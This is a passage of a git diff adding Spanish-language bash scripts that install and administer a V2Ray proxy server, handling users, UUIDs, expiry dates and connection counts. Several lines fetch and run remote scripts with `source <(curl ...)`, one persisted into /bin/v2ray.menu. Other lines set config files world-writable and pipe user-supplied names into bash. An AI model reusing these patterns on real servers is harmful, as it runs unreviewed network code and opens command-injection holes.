${INSTALL_WAY} == 0 ]];then + echo -e "${Info} Sincronizando tiempo!.. ${Font}" + if [[ `command -v ntpdate` ]];then + ntpdate pool.ntp.org + elif [[ `command -v chronyc` ]];then + chronyc -a makestep + fi + + if [[ $? -eq 0 ]];then + echo -e "${OK} Tiempo Sync Exitosamente ${Font}" + echo -e "${OK} Ahora: `date -R`${Font}" + fi + fi +} + +profileInit() { + + #清理v2ray模块环境变量 + [[ $(grep v2ray ~/$ENV_FILE) ]] && sed -i '/v2ray/d' ~/$ENV_FILE && source ~/$ENV_FILE + + #解决Python3中文显示问题 + [[ -z $(grep PYTHONIOENCODING=utf-8 ~/$ENV_FILE) ]] && echo "export PYTHONIOENCODING=utf-8" >> ~/$ENV_FILE && source ~/$ENV_FILE + + #全新安装的新配置 + [[ ${INSTALL_WAY} == 0 ]] && v2ray new || v2ray new + + echo "" +} + +installFinish() { +#if [[ ${INSTALL_WAY} == 0 ]]; then +clear&&clear +#v2ray new +#v2ray info +#echo -e "porfavor dijite 'v2ray' para administrar v2ray\n" +#fi + config='/etc/v2ray/config.json' + tmp='/etc/v2ray/temp.json' + #jq 'del(.inbounds[].streamSettings.kcpSettings[])' < $config >> $tmp + #rm -rf /etc/v2ray/config.json + #jq '.inbounds[].streamSettings += {"network":"ws","wsSettings":{"path": "/ADMcgh/","headers": {"Host": "ejemplo.com"}}}' < $tmp >> $config + chmod 777 $config + msg -bar + if [[ $(v2ray restart|grep success) ]]; then + [[ $(which v2ray) ]] && v2ray info + msg -bar + echo -e "\033[1;32mINSTALACION FINALIZADA" + else + [[ $(which v2ray) ]] && v2ray info + msg -bar + print_center -verm2 "INSTALACION FINALIZADA" + echo -e "\033[1;31m " 'Pero fallo el reinicio del servicio v2ray' + echo -e " LEA DETALLADAMENTE LOS MENSAJES " + echo -e "" + fi + cd ${BEGIN_PATH} + [[ ${INSTALL_WAY} == 0 ]] && WAY="install" || WAY="update" + colorEcho ${GREEN} "multi-v2ray ${WAY} success!\n" + echo -e "Por favor verifique el log" + read -p " presiona enter" + #chekKEY &> /dev/null 2>&1 + #回到原点 +} + + +main() { + + [[ ${HELP} == 1 ]] && help && return + + [[ ${REMOVE} == 1 ]] && colorEcho ${BLUE} " REMOVE BY @drowkid01 " && removeV2Ray && return + + [[ ${INSTALL_WAY} == 0 ]] && colorEcho ${BLUE} " INSTALACION NUEVA NATIVA By @drowkid01\n" + + checkSys + + installDependent + + closeSELinux + + timeSync + + updateProject + + profileInit + + installFinish +} + +main \ No newline at end of file diff --git a/Recursos/test/v2ray1.sh b/Recursos/test/v2ray1.sh new file mode 100644 index 0000000..30d5460 --- /dev/null +++ b/Recursos/test/v2ray1.sh @@ -0,0 +1,1235 @@ +#!/bin/bash +#24/10/2022 +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +clear&&clear +funINIT() { +[[ $1 == 1 ]] && { +echo 'source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu +chmod +x /bin/v2ray.menu +echo -e " RECUERDA QUE PARA UN INICIO RAPIDO SOLO DIGITA" +msg -bar +print_center -verm2 "v2ray.menu" +msg -bar +msg -ne "Enter Para Continuar" && read enter +echo "v2ray" >> /etc/checkV + } +[[ $1 == 2 ]] && { +[[ $(cat /etc/checkV | wc -l) > 4 ]] && return +echo -e " RECUERDA QUE PARA UN INICIO RAPIDO SOLO DIJITA" +msg -bar +print_center -verm2 "v2ray.menu" +msg -bar +msg -ne "Enter Para Continuar" && read enter +echo "v2ray" >> /etc/checkV + } +} +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +v2rayports=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep v2ray | awk '{print substr($9,3); }' > /tmp/v2ray.txt && echo | cat /tmp/v2ray.txt | tr '\n' ' ' > /etc/adm-lite/v2rayports.txt && cat /etc/adm-lite/v2rayports.txt` > /dev/null 2>&1 +v2rayports=$(echo $v2rayports | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$v2rayports" | grep v2ray | grep ESTABLISHED| grep tcp6 | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + msg -bar + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;41m V2ray by @Rufu99 Remasterizado @drowkid01 [$v1] \033[0m" || echo -e " \e[97m\033[1;41m V2ray by @Rufu99 Remasterizado @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" +[[ ! -z $v2rayports ]] && echo -e " \e[97m\033[1;41mPUERTO ACTIVO :\033[0m \033[3;32m$v2rayports\033[0m \e[97m\033[1;41m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR V2RAY : \033[0m \033[3;32m FAIL\033[3;32m" + } + +title(){ + msg -bar + blanco "$1" + msg -bar +} + +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar +} + + +[[ ! -e /bin/v2ray.menu ]] && funINIT "1" || funINIT "2" +clear&&clear +install_ini () { +sudo apt-get install software-properties-common -y +add-apt-repository universe +apt update -y; apt upgrade -y +clear +echo -e "$BARRA" +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +echo -e "$BARRA" +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python............... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " + +echo -e "$BARRA" +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +echo -e "$BARRA" +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + + +SCPdir="/etc/adm-lite" +SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] +[[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPinst} ]] +[[ ! -d ${SCPinst} ]] && mkdir ${SCPinst} +user_conf="/etc/adm-lite/RegV2ray" && [[ ! -e $user_conf ]] && touch $user_conf +user_confEX="/etc/adm-lite/RegV2ray.exp" && [[ ! -e $user_confEX ]] && touch $user_confEX +config="/etc/v2ray/config.json" +temp="/etc/v2ray/temp.json" +err_fun () { + case $1 in + 1)msg -verm "-Usuario Nulo-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 2)msg -verm "-Nombre muy corto (MIN: 2 CARACTERES)-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 3)msg -verm "-Nombre muy grande (MAX: 5 CARACTERES)-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 4)msg -verm "-Contraseña Nula-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 5)msg -verm "-Contraseña muy corta-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 6)msg -verm "-Contraseña muy grande-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 7)msg -verm "-Duracion Nula-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 8)msg -verm "-Duracion invalida utilize numeros-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 9)msg -verm "-Duracion maxima y de un año-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 11)msg -verm "-Limite Nulo-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 12)msg -verm "-Limite invalido utilize numeros-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 13)msg -verm "-Limite maximo de 999-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 14)msg -verm "-Usuario Ya Existe-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 15)msg -verm "-(Solo numeros) GB = Min: 1gb Max: 1000gb-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 16)msg -verm "-(Solo numeros)-"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + 17)msg -verm "-(Sin Informacion - Para Cancelar Digite CRTL + C)-"; sleep 4s; tput cuu1; tput dl1; tput cuu1; tput dl1;; + esac +} +intallv2ray () { +install_ini +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray.sh) +#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ADMRufu/main/Utils/v2ray/v2ray.sh) +[[ -e "$config" ]] && jq 'del(.inbounds[].streamSettings.kcpSettings[])' < /etc/v2ray/config.json >> /etc/v2ray/tmp.json +#rm -rf /etc/v2ray/config.json +#[[ -e "$config" ]] && jq '.inbounds[].streamSettings += {"network":"ws","wsSettings":{"path": "/ADMcgh/","headers": {"Host": "ejemplo.com"}}}' < /etc/v2ray/tmp.json >> /etc/v2ray/config.json +#v2ray new +[[ -e "$config" ]] && chmod 777 /etc/v2ray/config.json +echo '[Unit] +Description=V2Ray Service +After=network.target nss-lookup.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +NoNewPrivileges=true +ExecStart=/usr/bin/v2ray/v2ray -config /etc/v2ray/config.json +Restart=always +RestartSec=3s + + +[Install] +WantedBy=multi-user.target' > /etc/systemd/system/v2ray.service +systemctl daemon-reload &>/dev/null +systemctl start v2ray &>/dev/null +systemctl enable v2ray &>/dev/null +systemctl restart v2ray.service +msg -ama "-Intalado con Exito-!" +USRdatabase="/etc/adm-lite/RegV2ray" +[[ ! -e ${USRdatabase} ]] && touch ${USRdatabase} +sort ${USRdatabase} | uniq > ${USRdatabase}tmp +mv -f ${USRdatabase}tmp ${USRdatabase} +msg -bar +msg -ne "Enter Para Continuar" && read enter +[[ ! -d ${SCPinst} ]] && mkdir ${SCPinst} +[[ ! -d /etc/adm-lite/v2ray ]] && mkdir /etc/adm-lite/v2ray +echo 'source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu +chmod +x /bin/v2ray.menu +} +protocolv2ray () { +msg -ama "-Escojer opcion 3 y poner el dominio de nuestra IP-!" +msg -bar +v2ray stream +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +dirapache="/usr/local/lib/ubuntn/apache/ver" && [[ ! -d ${dirapache} ]] +tls () { +msg -ama "-Activar o Desactivar TLS-!" +#msg -bar +#echo -e "Ingrese Correo Temporal o Fijo \n Para Validar su Cerficicado SSL " +#read -p " Ejemplo email=my@example.com : " crreo +#echo -e $barra +#wget -O - https://get.acme.sh | sh -s email=$crreo +msg -bar +v2ray tls +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +portv () { +msg -ama "-Cambiar Puerto v2ray-!" +msg -bar +v2ray port +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +stats () { +#msg -ama "-Estadisticas de Consumo-!" +#msg -bar +#v2ray stats +usrCONEC +#msg -bar +#msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +unistallv2 () { +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray.sh) --remove > /dev/null 2>&1 +#source <(curl -sSL https://www.dropbox.com/s/cx8xhq3s53x3a75/insta-gen.sh) +rm -rf /etc/adm-lite/RegV2ray > /dev/null 2>&1 +echo -e "\033[1;92m V2RAY REMOVIDO OK " +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +infocuenta () { +v2ray info +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} +addusr () { +clear +clear +msg -bar +msg -tit +msg -ama " AGREGAR USUARIO | UUID V2RAY" +msg -bar +echo "" +while true; do +echo -ne "\e[91m >> Digita un Nombre: \033[1;92m" + read -p ": " nick + nick="$(echo $nick|sed -e 's/[^a-z0-9 -]//ig')" + if [[ -z $nick ]]; then + err_fun 17 && continue + elif [[ "${#nick}" -lt "1" ]]; then + err_fun 2 && continue + elif [[ "${#nick}" -gt "9" ]]; then + err_fun 3 && continue + fi + break +done +##DAIS +valid=$(date '+%C%y-%m-%d' -d " +31 days") +##CORREO +#MAILITO=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10) +MAILITO="${nick}" +##ADDUSERV2RAY +UUID=`uuidgen` +sed -i '13i\ \{' /etc/v2ray/config.json +sed -i '14i\ \"alterId": 0,' /etc/v2ray/config.json +sed -i '15i\ \"id": "'$UUID'",' /etc/v2ray/config.json +sed -i '16i\ \"email": "'$MAILITO'"' /etc/v2ray/config.json +sed -i '17i\ \},' /etc/v2ray/config.json +echo -e "\e[91m >> Agregado UUID: \e[92m$UUID " +while true; do + echo -ne "\e[91m >> Duracion de UUID (Dias):\033[1;92m " && read diasuser + if [[ -z "$diasuser" ]]; then + err_fun 17 && continue + elif [[ "$diasuser" != +([0-9]) ]]; then + err_fun 8 && continue + elif [[ "$diasuser" -gt "360" ]]; then + err_fun 9 && continue + fi + break +done +#Lim +[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1 +valid=$(date '+%C%y-%m-%d' -d " +$diasuser days") && datexp=$(date "+%F" -d " + $diasuser days") +echo -e "\e[91m >> Expira el : \e[92m$datexp " +##Registro +echo " $UUID | $nick | $valid " >> /etc/adm-lite/RegV2ray +v2ray restart > /dev/null 2>&1 +echo "" +v2ray info > /etc/adm-lite/v2ray/confuuid.log +lineP=$(sed -n '/'${UUID}'/=' /etc/adm-lite/v2ray/confuuid.log) +numl1=4 +let suma=$lineP+$numl1 +sed -n ${suma}p /etc/adm-lite/v2ray/confuuid.log +echo "" +msg -bar +echo -e "\e[92m UUID AGREGEGADO CON EXITO " +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + +add_user(){ + unset seg + seg=$(date +%s) + while : + do + clear + users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" + + title " CREAR USUARIO V2RAY" + userDat + + n=0 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="default" + a='*' + DateExp=" unlimit" + col "$a)" "$i" "$DateExp" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + + col "$n)" "$i" "$DateExp" "$exp" + } + let n++ + done + msg -bar + col "0)" "VOLVER" + msg -bar + blanco "NOMBRE DEL NUEVO USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + + [[ $opcion = 0 ]] && break + + blanco "DURACION EN DIAS" 0 + read dias + + espacios=$(echo "$opcion" | tr -d '[[:space:]]') + opcion=$espacios + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + new=".inbounds[].settings.clients[$num]" + new_id=$(uuidgen) + new_mail="email:\"$opcion\"" + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo jq \'$new += \{alterId:${aid},id:\"$new_id\","$new_mail"\}\' $temp \> $config | bash + echo "$opcion | $new_id | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar + blanco " Usuario $opcion creado Exitosamente" + msg -bar + restart_v2r + sleep 0.2 + done +} + + +usrCONEC() { +CGHlog='/var/log/v2ray/access.log' +[[ $log0 -le 1 ]] && { +v2ray restart &> /dev/null +v2ray clean &> /dev/null && let log0++ && clear +} +msg -bar3 +echo -e "" +echo -e " ESPERANDO A LA VERIFICACION DE IPS Y USUARIOS " +echo -e " ESPERE UN MOMENTO PORFAVOR $log0" +echo -e "" +msg -bar3 +fun_bar +msg -bar3 +sleep 5s +clear&&clear +title2 +msg -bar3 +users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" +IP_tconex=$(netstat -nap | grep "$v2rayports"| grep v2ray | grep ESTABLISHED | grep tcp6 | awk {'print $5'}| awk -F ":" '{print $1}' | sort | uniq) +n=1 +[[ -z $IP_tconex ]] && echo -e " NO HAY USUARIOS CONECTADOS!" +for i in $IP_tconex +do + USERauth=$(cat ${CGHlog} | grep $i | grep accepted |awk '{print $7}'| sort | uniq) + Users+="$USERauth\n" +done +echo -e " N) -|- USER -|- CONEXIONES "|column -t -s '-' +msg -bar3 +for U in $users + do + CConT=$(echo -e "$Users" | grep $U |wc -l) + [[ $CConT = 0 ]] && continue + UConc+=" $n) -|- $U -|- $CConT\n" + let n++ +done +echo -e "$UConc"|column -t -s '-' +msg -bar3 +continuar +read foo +} + + +renewusr () { +clear +clear +msg -bar +msg -tit +msg -ama " USUARIOS REGISTRADOS | UUID V2RAY" +msg -bar +# usersss=$(cat /etc/adm-lite/RegV2ray|cut -d '|' -f1) +# cat /etc/adm-lite/RegV2ray|cut -d'|' -f3 +VPSsec=$(date +%s) +local HOST="/etc/adm-lite/RegV2ray.exp" +local HOST2="/etc/adm-lite/RegV2ray.exp" +local RETURN="$(cat $HOST|cut -d'|' -f2)" +local IDEUUID="$(cat $HOST|cut -d'|' -f1)" +if [[ -z $RETURN ]]; then +echo -e "----- NINGUN USER EXPIRADO -----" +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +else +i=1 +echo -e "\e[97m UUID | USER | DATA \e[93m" +msg -bar +while read hostreturn ; do +DateExp="$(cat /etc/adm-lite/RegV2ray.exp|grep -w "$hostreturn"|cut -d'|' -f3)" +if [[ ! -z $DateExp ]]; then +DataSec=$(date +%s --date="$DateExp") +[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="\e[91m[Caducado]\e[97m" || EXPTIME="\e[92m[$(($(($DataSec - $VPSsec)) / 86400))]\e[97m Dias" +else +EXPTIME="\e[91m[ S/R ]" +fi +usris="$(cat /etc/adm-lite/RegV2ray.exp|grep -w "$hostreturn"|cut -d'|' -f2)" +local contador_secuencial+="\e[93m$hostreturn \e[97m|\e[93m$usris\e[97m|\e[93m $EXPTIME \n" + if [[ $i -gt 30 ]]; then + echo -e "$contador_secuencial" + unset contador_secuencial + unset i + fi +let i++ +done <<< "$IDEUUID" + +[[ ! -z $contador_secuencial ]] && { +linesss=$(cat /etc/adm-lite/RegV2ray.exp | wc -l) + echo -e "$contador_secuencial \n Numero de Registrados: $linesss" + } +fi + +read -p "" +return +msg -bar +msg -tit +msg -ama " AGREGAR USUARIO | UUID V2RAY" +msg -bar +##DAIS +valid=$(date '+%C%y-%m-%d' -d " +31 days") +##CORREO +MAILITO=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10) +##ADDUSERV2RAY +UUID=`uuidgen` +sed -i '13i\ \{' /etc/v2ray/config.json +sed -i '14i\ \"alterId": 0,' /etc/v2ray/config.json +sed -i '15i\ \"id": "'$UUID'",' /etc/v2ray/config.json +sed -i '16i\ \"email": "'$MAILITO'@gmail.com"' /etc/v2ray/config.json +sed -i '17i\ \},' /etc/v2ray/config.json +echo "" +echo -e "\e[91m >> Agregado UUID: \e[92m$UUID " +while true; do + echo -ne "\e[91m >> Duracion de UUID (Dias):\033[1;92m " && read diasuser + if [[ -z "$diasuser" ]]; then + err_fun 17 && continue + elif [[ "$diasuser" != +([0-9]) ]]; then + err_fun 8 && continue + elif [[ "$diasuser" -gt "360" ]]; then + err_fun 9 && continue + fi + break +done +#Lim +[[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1 +valid=$(date '+%C%y-%m-%d' -d " +$diasuser days") && datexp=$(date "+%F" -d " + $diasuser days") +echo -e "\e[91m >> Expira el : \e[92m$datexp " +##Registro +echo " $UUID | $nick | $valid " >> /etc/adm-lite/RegV2ray +v2ray restart > /dev/null 2>&1 +echo "" +v2ray info > /etc/adm-lite/v2ray/confuuid.log +lineP=$(sed -n '/'${UUID}'/=' /etc/adm-lite/v2ray/confuuid.log) +numl1=4 +let suma=$lineP+$numl1 +sed -n ${suma}p /etc/adm-lite/v2ray/confuuid.log +echo "" +msg -bar +echo -e "\e[92m UUID AGREGEGADO CON EXITO " +msg -bar +msg -ne "Enter Para Continuar" && read enter +v2ray.menu +} + + +renew(){ + while : + do + unset user + clear + title " RENOVAR USUARIOS" + userDat + userEpx=$(cut -d " " -f1 $user_conf) + n=1 + for i in $userEpx + do + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp" "\033[0;31m[Exp]" + uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + user[$n]=$i + let n++ + } + done + [[ -z ${user[1]} ]] && blanco " No hay expirados" + msg -bar + col "0)" "VOLVER" + msg -bar + blanco "NUMERO DE USUARIO A RENOVAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + blanco "DURACION EN DIAS" 0 + read dias + + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq 